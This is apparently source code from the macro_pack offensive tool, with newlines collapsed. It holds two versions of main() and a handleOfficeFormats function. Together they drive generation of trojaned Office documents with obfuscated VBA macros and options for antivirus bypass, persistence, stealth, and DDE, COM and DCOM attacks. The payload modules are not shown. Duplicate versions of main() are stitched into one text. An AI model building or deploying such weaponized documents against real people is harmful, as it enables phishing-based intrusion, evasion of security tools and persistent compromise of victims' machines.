def main(argv): logLevel = "INFO" # initialize macro_pack session object mpSession = mp_session.MpSession(WORKING_DIR, VERSION, MP_TYPE) try: longOptions = [ "embed=", "listen=", "generate=", "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=", "template=", "start-function=", "dde" ] shortOptions = "e:l:s:f:t:G:hqmo" # only for Pro release if MP_TYPE == "Pro": longOptions.extend([ "vbom-encode", "persist", "keep-alive", "av-bypass", "trojan=", "stealth", "dcom=", "background" ]) shortOptions += "T:b" # Only enabled on windows if sys.platform == "win32": longOptions.extend(["run="]) opts, args = getopt.getopt(argv, shortOptions, longOptions) # @UnusedVariable except getopt.GetoptError: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(2) for opt, arg in opts: if opt in ("-o", "--obfuscate"): mpSession.obfuscateForm = True mpSession.obfuscateNames = True mpSession.obfuscateStrings = True elif opt == "--obfuscate-form": mpSession.obfuscateForm = True elif opt == "--obfuscate-names": mpSession.obfuscateNames = True elif opt == "--obfuscate-strings": mpSession.obfuscateStrings = True elif opt == "-s" or opt == "--start-function": mpSession.startFunction = arg elif opt == "-l" or opt == "--listen": mpSession.listen = True mpSession.listenPort = int(arg) elif opt == "-f" or opt == "--input-file": mpSession.vbaInput = arg elif opt == "-e" or opt == "--embed": mpSession.embeddedFilePath = os.path.abspath(arg) elif opt == "-t" or opt == "--template": if arg is None or arg.startswith( "-") or arg == "help" or arg == "HELP": help.printTemplatesUsage(BANNER, sys.argv[0]) sys.exit(0) else: mpSession.template = arg elif opt == "-q" or opt == "--quiet": logLevel = "ERROR" elif opt == "--dde": if sys.platform == "win32": mpSession.ddeMode = True elif opt == "--run": if sys.platform == "win32": mpSession.runTarget = os.path.abspath(arg) elif opt in ("-G", "--generate"): mpSession.outputFilePath = os.path.abspath(arg) elif opt == "-h" or opt == "--help": help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: if MP_TYPE == "Pro": if opt == "--vbom-encode": mpSession.vbomEncode = True elif opt == "--persist": mpSession.persist = True elif opt == "--keep-alive": mpSession.keepAlive = True elif opt == "--av-bypass": mpSession.avBypass = True elif opt == "-T" or opt == "--trojan": # Document generation enabled only on windows if sys.platform == "win32": mpSession.outputFilePath = os.path.abspath(arg) mpSession.trojan = True elif opt == "-b" or opt == "--background": mpSession.background = True elif opt == "--stealth": mpSession.stealth = True elif opt == "--dcom": mpSession.dcom = True mpSession.dcomTarget = arg else: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) os.system('cls' if os.name == 'nt' else 'clear') # Logging logging.basicConfig(level=getattr(logging, logLevel), format="%(message)s", handlers=[utils.ColorLogFiler()]) logging.info(colored(BANNER, 'green')) logging.info(" [+] Preparations...") # check input args if mpSession.vbaInput is None: # Argument not supplied, try to get file content from stdin if os.isatty(0) == False: # check if something is being piped logging.info(" [-] Waiting for piped input feed...") mpSession.stdinContent = sys.stdin.readlines() else: if not os.path.isfile(mpSession.vbaInput): logging.error(" [!] ERROR: Could not find %s!" % mpSession.vbaInput) sys.exit(2) else: logging.info(" [-] Input file path: %s" % mpSession.vbaInput) if mpSession.trojan == False: # verify that output file does not already exist if mpSession.outputFilePath is not None: if os.path.isfile(mpSession.outputFilePath): logging.error(" [!] ERROR: Output file %s already exist!" % mpSession.outputFilePath) sys.exit(2) else: # In trojan mod, file are tojane if they already exist and created if they dont. # except for vba output which is not concerned by trojan feature if mpSession.outputFilePath is not None and mpSession.outputFileType == MSTypes.VBA: if mpSession.outputFilePath is not None: if os.path.isfile(mpSession.outputFilePath): logging.error( " [!] ERROR: Output file %s already exist!" % mpSession.outputFilePath) sys.exit(2) #Create temporary folder logging.info(" [-] Temporary working dir: %s" % WORKING_DIR) if not os.path.exists(WORKING_DIR): os.makedirs(WORKING_DIR) try: # Create temporary work file. if mpSession.ddeMode or mpSession.template: inputFile = os.path.join(WORKING_DIR, "command.cmd") else: inputFile = os.path.join(WORKING_DIR, utils.randomAlpha(9)) + ".vba" if mpSession.stdinContent is not None: logging.info(" [-] Store std input in file...") f = open(inputFile, 'w') f.writelines(mpSession.stdinContent) f.close() else: # Create temporary work file if mpSession.vbaInput is not None: logging.info(" [-] Store input file...") shutil.copy2(mpSession.vbaInput, inputFile) if os.path.isfile(inputFile): logging.info(" [-] Temporary input file: %s" % inputFile) # Check output file format if mpSession.outputFilePath: logging.info(" [-] Target output format: %s" % mpSession.outputFileType) # Generate template if mpSession.template: if MP_TYPE == "Pro": generator = TemplateGeneratorPro(mpSession) generator.run() else: generator = TemplateToVba(mpSession) generator.run() # MS Office generation/trojan is only enabled on windows if sys.platform == "win32": if mpSession.stealth == True: # Add a new empty module to keep VBA library if we hide other modules # See http://seclists.org/fulldisclosure/2017/Mar/90 genericModule = mp_module.MpModule(mpSession) genericModule.addVBAModule("") if mpSession.trojan == False: if MSTypes.XL in mpSession.outputFileType: generator = ExcelGenerator(mpSession) generator.run() elif MSTypes.WD in mpSession.outputFileType: generator = WordGenerator(mpSession) generator.run() elif MSTypes.PPT in mpSession.outputFileType: generator = PowerPointGenerator(mpSession) generator.run() elif MSTypes.MPP == mpSession.outputFileType: generator = MSProjectGenerator(mpSession) generator.run() elif MSTypes.VSD in mpSession.outputFileType: generator = VisioGenerator(mpSession) generator.run() elif MSTypes.PUB == mpSession.outputFileType and MP_TYPE == "Pro": generator = PublisherGenerator(mpSession) generator.run() else: if MSTypes.XL in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = ExcelTrojan(mpSession) generator.run() else: generator = ExcelGenerator(mpSession) generator.run() if MSTypes.WD in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = WordTrojan(mpSession) generator.run() else: generator = WordGenerator(mpSession) generator.run() if MSTypes.PPT in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = PptTrojan(mpSession) generator.run() else: generator = PowerPointGenerator(mpSession) generator.run() if MSTypes.VSD in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = VisioTrojan(mpSession) generator.run() else: generator = VisioGenerator(mpSession) generator.run() if MSTypes.MPP in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = MsProjectTrojan(mpSession) generator.run() else: generator = MSProjectGenerator(mpSession) generator.run() if mpSession.stealth == True: obfuscator = Stealth(mpSession) obfuscator.run() if mpSession.ddeMode: # DDE Attack mode if MSTypes.WD in mpSession.outputFileType: generator = WordDDE(mpSession) generator.run() else: logging.warn( " [!] Word and Word97 are only format supported for DDE attacks." ) if mpSession.runTarget: #run com attack generator = ComGenerator(mpSession) generator.run() if mpSession.dcom: #run dcom attack generator = DcomGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.VBS: generator = VBSGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.HTA: generator = HTAGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SCT: generator = SCTGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.WSF: generator = WSFGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.VBA or mpSession.outputFilePath == None: generator = VBAGenerator(mpSession) generator.run() if mpSession.listen: listener = ListenServer(mpSession) listener.run() except Exception: logging.exception(" [!] Exception caught!") logging.error( " [!] Hints: Check if MS office is really closed and Antivirus did not catch the files" ) if sys.platform == "win32": logging.error( " [!] Attempt to force close MS Office applications...") objExcel = win32com.client.Dispatch("Excel.Application") objExcel.Application.Quit() del objExcel objWord = win32com.client.Dispatch("Word.Application") objWord.Application.Quit() del objWord ppt = win32com.client.Dispatch("PowerPoint.Application") ppt.Quit() del ppt logging.info(" [+] Cleaning...") shutil.rmtree(WORKING_DIR) logging.info(" Done!\n") sys.exit(0)
def handleOfficeFormats(mpSession): """ Handle MS Office output formats generation """ if mpSession.stealth == True: if mpSession.outputFileType in MSTypes.MS_OFFICE_FORMATS: # Add a new empty module to keep VBA library if we hide other modules # See http://seclists.org/fulldisclosure/2017/Mar/90 genericModule = mp_module.MpModule(mpSession) genericModule.addVBAModule("") else: logging.warn( " [!] Stealth option is not available for the format %s" % mpSession.outputFileType) # Shall we trojan existing file? if mpSession.trojan == False: if MSTypes.XL in mpSession.outputFileType: generator = ExcelGenerator(mpSession) generator.run() elif MSTypes.WD in mpSession.outputFileType: generator = WordGenerator(mpSession) generator.run() elif MSTypes.PPT in mpSession.outputFileType: generator = PowerPointGenerator(mpSession) generator.run() elif MSTypes.MPP == mpSession.outputFileType: generator = MSProjectGenerator(mpSession) generator.run() elif MSTypes.VSD in mpSession.outputFileType: generator = VisioGenerator(mpSession) generator.run() elif MSTypes.ACC in mpSession.outputFileType: generator = AccessGenerator(mpSession) generator.run() elif MSTypes.PUB == mpSession.outputFileType and MP_TYPE == "Pro": generator = PublisherGenerator(mpSession) generator.run() else: if MSTypes.XL in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = ExcelTrojan(mpSession) generator.run() else: generator = ExcelGenerator(mpSession) generator.run() if MSTypes.WD in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = WordTrojan(mpSession) generator.run() else: generator = WordGenerator(mpSession) generator.run() if MSTypes.PPT in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = PptTrojan(mpSession) generator.run() else: generator = PowerPointGenerator(mpSession) generator.run() if MSTypes.VSD in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = VisioTrojan(mpSession) generator.run() else: generator = VisioGenerator(mpSession) generator.run() if MSTypes.ACC in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): pass else: generator = AccessGenerator(mpSession) generator.run() if MSTypes.MPP in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = MsProjectTrojan(mpSession) generator.run() else: generator = MSProjectGenerator(mpSession) generator.run() if mpSession.stealth == True: obfuscator = Stealth(mpSession) obfuscator.run() if mpSession.ddeMode: # DDE Attack mode if MSTypes.WD in mpSession.outputFileType: generator = WordDDE(mpSession) generator.run() elif MSTypes.XL in mpSession.outputFileType: generator = ExcelDDE(mpSession) generator.run() else: logging.warn( " [!] Word and Word97 are only format supported for DDE attacks." )
def main(argv): logLevel = "INFO" # initialize macro_pack session object mpSession = mp_session.MpSession(WORKING_DIR, VERSION) try: longOptions = ["quiet", "input-file=","vba-output=", "mask-strings", "encode","obfuscate","obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=","template=", "start-function="] # only for Pro release if MP_TYPE == "Pro": longOptions.extend(["vbom-encode", "persist","keep-alive", "av-bypass", "trojan", "stealth"]) # Only enabled on windows if sys.platform == "win32": longOptions.extend(["excel-output=", "word-output=", "excel97-output=", "word97-output=", "ppt-output="]) opts, args = getopt.getopt(argv, "s:f:t:v:x:X:w:W:P:hqmo", longOptions) # @UnusedVariable except getopt.GetoptError: usage() sys.exit(2) for opt, arg in opts: if opt in ("-o", "--obfuscate"): mpSession.obfuscateForm = True mpSession.obfuscateNames = True mpSession.obfuscateStrings = True elif opt=="--obfuscate-form": mpSession.obfuscateForm = True elif opt=="--obfuscate-names": mpSession.obfuscateNames = True elif opt=="--obfuscate-strings": mpSession.obfuscateStrings = True elif opt=="-s" or opt=="--start-function": mpSession.startFunction = arg elif opt == "-f" or opt== "--input-file": mpSession.vbaInput = arg elif opt=="-t" or opt=="--template": mpSession.template = arg elif opt=="-q" or opt=="--quiet": logLevel = "ERROR" elif opt=="-v" or opt=="--vba-output": mpSession.vbaFilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt in ("-X", "--excel-output"): # Only enabled on windows if sys.platform == "win32": mpSession.excelFilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt in ("-W","--word-output"): # Only enabled on windows if sys.platform == "win32": mpSession.wordFilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt in ("-x", "--excel97-output"): # Only enabled on windows if sys.platform == "win32": mpSession.excel97FilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt in ("-w", "--word97-output"): # Only enabled on windows if sys.platform == "win32": mpSession.word97FilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt in ("-P","--ppt-output"): # Only enabled on windows if sys.platform == "win32": mpSession.pptFilePath = os.path.abspath(arg) mpSession.fileOutput = True elif opt=="-h" or opt=="--help": usage() sys.exit(0) else: if MP_TYPE == "Pro": if opt=="--vbom-encode": mpSession.vbomEncode = True elif opt=="--persist": mpSession.persist = True elif opt=="--keep-alive": mpSession.keepAlive = True elif opt=="--av-bypass": mpSession.avBypass = True elif opt=="--trojan": mpSession.trojan = True elif opt == "--stealth": mpSession.stealth = True else: usage() sys.exit(0) else: usage() sys.exit(0) os.system('cls' if os.name == 'nt' else 'clear') # Logging logging.basicConfig(level=getattr(logging, logLevel),format="%(message)s", handlers=[utils.ColorLogFiler()]) logging.info(colored(BANNER, 'green')) logging.info(" [+] Preparations...") # check input args if mpSession.vbaInput is None: # Argument not supplied, try to get file content from stdin if os.isatty(0) == False: # check if something is being piped logging.info(" [-] Waiting for piped input feed...") mpSession.stdinContent = sys.stdin.readlines() else: logging.error(" [!] ERROR: No input provided") sys.exit(2) else: if not os.path.isfile(mpSession.vbaInput): logging.error(" [!] ERROR: Could not find %s!" % mpSession.vbaInput) sys.exit(2) if mpSession.trojan==False: # verify that output file does not already exist for outputPath in [mpSession.vbaFilePath, mpSession.excelFilePath, mpSession.wordFilePath, mpSession.excel97FilePath, mpSession.word97FilePath, mpSession.pptFilePath]: if outputPath is not None: if os.path.isfile(outputPath): logging.error(" [!] ERROR: Output file %s already exist!" % outputPath) sys.exit(2) else: # In trojan mode, file are tojane if they already exist and created if they dont. # except for vba output which is not concerned by trojan feature for outputPath in [mpSession.vbaFilePath]: if outputPath is not None: if os.path.isfile(outputPath): logging.error(" [!] ERROR: Output file %s already exist!" % outputPath) sys.exit(2) logging.info(" [-] Input file path: %s" % mpSession.vbaInput) #Create temporary folder logging.info(" [-] Temporary working dir: %s" % WORKING_DIR) if not os.path.exists(WORKING_DIR): os.makedirs(WORKING_DIR) try: logging.info(" [-] Store input file..." ) # Create temporary work file. vbaFile = os.path.join(WORKING_DIR,utils.randomAlpha(9))+".vba" if mpSession.stdinContent is not None: f = open(vbaFile, 'w') f.writelines(mpSession.stdinContent) f.close() else: # Create temporary work file shutil.copy2(mpSession.vbaInput, vbaFile) logging.info(" [-] Temp VBA file: %s" % vbaFile) # Generate template if mpSession.template: generator = TemplateToVba(mpSession) generator.run() # Macro obfuscation if mpSession.obfuscateNames: obfuscator = ObfuscateNames(mpSession) obfuscator.run() # Mask strings if mpSession.obfuscateStrings: obfuscator = ObfuscateStrings(mpSession) obfuscator.run() # Macro obfuscation if mpSession.obfuscateForm: obfuscator = ObfuscateForm(mpSession) obfuscator.run() if MP_TYPE == "Pro": #macro split if mpSession.avBypass: obfuscator = AvBypass(mpSession) obfuscator.run() # MAcro encoding if mpSession.vbomEncode: obfuscator = VbomEncoder(mpSession) obfuscator.run() # PErsistance management if mpSession.persist: obfuscator = Persistance(mpSession) obfuscator.run() # Macro obfuscation if mpSession.obfuscateNames: obfuscator = ObfuscateNames(mpSession) obfuscator.run() # Mask strings if mpSession.obfuscateStrings: obfuscator = ObfuscateStrings(mpSession) obfuscator.run() # Macro obfuscation if mpSession.obfuscateForm: obfuscator = ObfuscateForm(mpSession) obfuscator.run() else: # PErsistance management if mpSession.persist: obfuscator = Persistance(mpSession) obfuscator.run() # MS Office generation/trojan is only enabled on windows if sys.platform == "win32": if mpSession.stealth == True: # Add a new empty module to keep VBA library if we hide other modules # See http://seclists.org/fulldisclosure/2017/Mar/90 genericModule = mp_module.MpModule(mpSession) genericModule.addVBAModule("") if mpSession.trojan == False: if mpSession.excelFilePath or mpSession.excel97FilePath: generator = ExcelGenerator(mpSession) generator.run() if mpSession.wordFilePath or mpSession.word97FilePath: generator = WordGenerator(mpSession) generator.run() if mpSession.pptFilePath: generator = PowerPointGenerator(mpSession) generator.run() else: if mpSession.excelFilePath: if os.path.isfile(mpSession.excelFilePath): generator = ExcelTrojan(mpSession) generator.run() else: generator = ExcelGenerator(mpSession) generator.run() if mpSession.excel97FilePath: if os.path.isfile(mpSession.excel97FilePath): generator = ExcelTrojan(mpSession) generator.run() else: generator = ExcelGenerator(mpSession) generator.run() if mpSession.wordFilePath: if os.path.isfile(mpSession.wordFilePath): generator = WordTrojan(mpSession) generator.run() else: generator = WordGenerator(mpSession) generator.run() if mpSession.word97FilePath: if os.path.isfile(mpSession.word97FilePath): generator = WordTrojan(mpSession) generator.run() else: generator = WordGenerator(mpSession) generator.run() if mpSession.pptFilePath: if os.path.isfile(mpSession.pptFilePath): generator = PptTrojan(mpSession) generator.run() else: generator = PowerPointGenerator(mpSession) generator.run() if mpSession.stealth == True: obfuscator = Stealth(mpSession) obfuscator.run() if mpSession.vbaFilePath is not None or mpSession.fileOutput == False: generator = VBAGenerator(mpSession) generator.run() except Exception: logging.exception(" [!] Exception caught!") logging.error(" [!] Hints: Check if MS office is really closed and Antivirus did not catch the files") if sys.platform == "win32": logging.error(" [!] Attempt to force close MS Office applications...") objExcel = win32com.client.Dispatch("Excel.Application") objExcel.Application.Quit() del objExcel objWord = win32com.client.Dispatch("Word.Application") objWord.Application.Quit() del objWord ppt = win32com.client.Dispatch("PowerPoint.Application") ppt.Quit() del ppt logging.info(" [+] Cleaning...") shutil.rmtree(WORKING_DIR) logging.info(" Done!\n") sys.exit(0)